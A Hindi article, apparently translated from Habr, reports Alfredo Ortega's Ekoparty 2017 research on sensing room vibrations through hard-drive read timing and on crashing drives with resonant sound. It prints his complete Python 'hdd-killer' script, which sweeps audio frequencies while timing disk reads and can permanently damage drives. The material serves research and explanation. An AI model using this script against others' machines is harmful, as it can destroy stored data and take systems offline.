ब्यूनस आयर्स में एकोपार्टी 2017 कंप्यूटर सुरक्षा सम्मेलन में, अर्जेंटीना के हैकर अल्फ्रेडो ओर्टेगा ने एक बहुत ही दिलचस्प विकास दिखाया - माइक्रोफोन का उपयोग किए बिना परिसर के गुप्त वायरटैपिंग के लिए एक प्रणाली। आवाज़ सीधे हार्ड ड्राइव पर रिकॉर्ड किया गया!

एचडीडी मुख्य रूप से उच्च-तीव्रता वाली कम-आवृत्ति ध्वनियों, कदमों और अन्य कंपनों को पकड़ता है। मानव वाणी को अभी तक पहचाना नहीं जा सका है, यद्यपि वैज्ञानिक इस दिशा में शोध कर रहे हैं (कम-आवृत्ति कंपन द्वारा वाक् पहचान, जो रिकॉर्ड की जाती है, उदाहरण के लिए, जाइरोस्कोप या एचडीडी से)।

ध्वनि वायु या किसी अन्य माध्यम का कंपन है। एक व्यक्ति उन्हें कान के परदे के माध्यम से महसूस करता है, जो कंपन को आंतरिक कान तक पहुंचाता है। माइक्रोफ़ोन को लगभग एक कान की तरह डिज़ाइन किया गया है - यहां भी, कंपन को एक पतली झिल्ली द्वारा रिकॉर्ड किया जाता है, जो विद्युत आवेग को उत्तेजित करता है। बेशक, हार्ड ड्राइव आसपास की हवा में उतार-चढ़ाव के कारण सूक्ष्म कंपन के अधीन भी है। यह एचडीडी की तकनीकी विशेषताओं से भी ज्ञात होता है: निर्माता आमतौर पर अधिकतम अनुमेय कंपन स्तर का संकेत देते हैं, और हार्ड ड्राइव स्वयं अक्सर रबर या अन्य इन्सुलेट सामग्री से बने कंपन-प्रूफ कंटेनर में रखने की कोशिश करते हैं। इससे यह निष्कर्ष निकालना आसान है कि HDD का उपयोग करके ध्वनियाँ रिकॉर्ड की जा सकती हैं। बस यह पता लगाना बाकी है कि कैसे।

अल्फ्रेडो ओर्टेगा ने साइड-चैनल हमले का एक अनूठा संस्करण प्रस्तावित किया, अर्थात् समय हमला। यह हमला इस धारणा पर आधारित है कि दिए गए इनपुट डेटा के आधार पर, डिवाइस पर अलग-अलग समय पर अलग-अलग ऑपरेशन किए जाते हैं। इस मामले में, "इनपुट डेटा" रीडिंग हेड और एचडीडी प्लेटर का कंपन है, जो पर्यावरण के कंपन, यानी ध्वनि के साथ सहसंबद्ध होता है। इस प्रकार, गणना समय को मापकर और डेटा का सांख्यिकीय विश्लेषण करके, हेड/प्लेटर के कंपन और इसलिए माध्यम के कंपन को मापना संभव है। डेटा पढ़ने में जितनी देर होगी, एचडीडी कंपन उतना ही मजबूत होगा और इसलिए, ध्वनि उतनी ही तेज़ होगी।

हार्ड ड्राइव कंपन कैसे मापें? बहुत सरल: बस सिस्टम कॉल चलाएँ read () - और इसे पूरा होने में लगने वाले समय को रिकॉर्ड करें। आधुनिक ऑपरेटिंग सिस्टम आपको नैनोसेकंड सटीकता के साथ सिस्टम कॉल के समय को पढ़ने की अनुमति देते हैं।

किसी सेक्टर से जानकारी पढ़ने की गति हेड और प्लेटर की स्थिति पर निर्भर करती है, जो एचडीडी केस के कंपन से संबंधित होती है। इतना ही।

सांख्यिकीय विश्लेषण एक सरल Kscope उपयोगिता का उपयोग करके किया जाता है। जैसा कि वे कहते हैं, हर आविष्कारी चीज़ सरल होती है।

केस्कोप उपयोगिता (स्टेट() सिस्कल)

सिस्टम कॉल निष्पादन समय में छोटे अंतर देखने के लिए Kscope एक छोटी उपयोगिता है। सोर्स कोडगिटहब पर प्रकाशित.

एक अलग भंडार में एचडीडी-समय हार्ड ड्राइव पर टाइम अटैक के लिए उपयोगिता का एक संस्करण कॉन्फ़िगर किया गया है, यानी सिस्टम कॉल का विश्लेषण करने के लिए कॉन्फ़िगर किया गया है read ().

एचडीडी का उपयोग करके ध्वनि रिकॉर्डिंग का प्रदर्शन, केस्कोप उपयोगिता का संचालन

बेशक, भाषण को इस तरह से नहीं समझा जा सकता है, लेकिन एचडीडी कंपन सेंसर के रूप में काफी उपयुक्त है। उदाहरण के लिए, आप पंजीकरण कर सकते हैं यदि कोई व्यक्ति सख्त जूते पहने हुए या नंगे पैर कंप्यूटर के साथ एक कमरे में प्रवेश करता है (संभवतः, यदि हमलावर ने नरम स्नीकर्स पहने हुए हैं या फर्श पर मोटा कालीन है, तो एचडीडी कंपन दर्ज करने में सक्षम नहीं होगा - यह जांचने लायक है)। कंप्यूटर टूटे शीशे या अन्य घटनाओं को तेज ध्वनि तीव्रता के साथ दर्ज करने में सक्षम है। अर्थात्, हार्ड ड्राइव एक प्रकार की अनधिकृत घुसपैठ का पता लगाने वाली प्रणाली के रूप में काम कर सकती है।

एचडीडी हत्यारा

संयोगवश, इसी तरह की तकनीक का उपयोग हार्ड ड्राइव को निष्क्रिय करने के लिए भी किया जा सकता है। हालांकि, यहां हम हार्ड ड्राइव से कंपन को कैप्चर नहीं करते, बल्कि कंपन उत्पन्न करते हैं जो हार्ड ड्राइव को भेजी जाती है। यदि आप स्पीकर से ऐसी आवृत्ति पर ऑडियो चलाते हैं जो हार्ड ड्राइव की आवृत्ति से मेल खाती है, तो सिस्टम जल्द ही एक I/O त्रुटि (कर्नेल) के साथ डिवाइस को बंद कर देगा। Linux (यह 120 सेकंड के बाद हार्ड ड्राइव को पूरी तरह से बंद कर देता है।) हार्ड ड्राइव को अपरिवर्तनीय क्षति हो सकती है।

कोर Linux एडिफायर r19u यूएसबी स्पीकर के माध्यम से अनुनादी आवृत्ति पर ध्वनि बजाने के 120 सेकंड बाद हार्ड ड्राइव बंद हो गई। स्पीकर को उसकी लगभग एक चौथाई क्षमता (100 मेगावाट से कम) पर चालू किया गया था और कंपन को बढ़ाने के लिए उसे हार्ड ड्राइव से 20 सेंटीमीटर की दूरी पर मेज की ओर रखा गया था। वीडियो क्लिप एचडीडी किलर के प्रदर्शन के साथ

यह उत्सुक है कि एचडीडी पर ऐसे "हमले" कभी-कभी रोजमर्रा की जिंदगी में पूरी तरह से दुर्घटना से होते हैं। उदाहरण के लिए, सितंबर 2016 में, आईएनजी बैंक डेटा सेंटर को फायर ड्रिल के बाद 10 घंटे के लिए परिचालन निलंबित करने के लिए मजबूर होना पड़ा। दर्जनों हार्ड ड्राइव विफल हो गए हैं उच्च दबाव में सिलेंडरों से निकलने वाली अक्रिय गैस की तेज आवाज के कारण। ध्वनि बहुत तेज़ थी (130 डीबी से अधिक), लेकिन आप हार्ड ड्राइव पर चिल्ला भी नहीं सकते - इससे एचडीडी तक पहुंचने में देरी बढ़ जाती है।

डेटा सेंटर में हार्ड ड्राइव पर मानव चीखने का प्रदर्शन। विलंबता माप

गुंजायमान ध्वनि उत्पन्न करने के लिए अल्फ्रेडो ओर्टेगा ने एक पायथन लिपि लिखी जिसे कहा जाता है hdd-हत्यारा (वीडियो प्रदर्शन).

एचडीडी किलर स्क्रिप्ट यह काफी छोटा है, इसलिए आप इसे संपूर्ण रूप से यहां प्रकाशित कर सकते हैं।

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

स्रोत: www.habr.com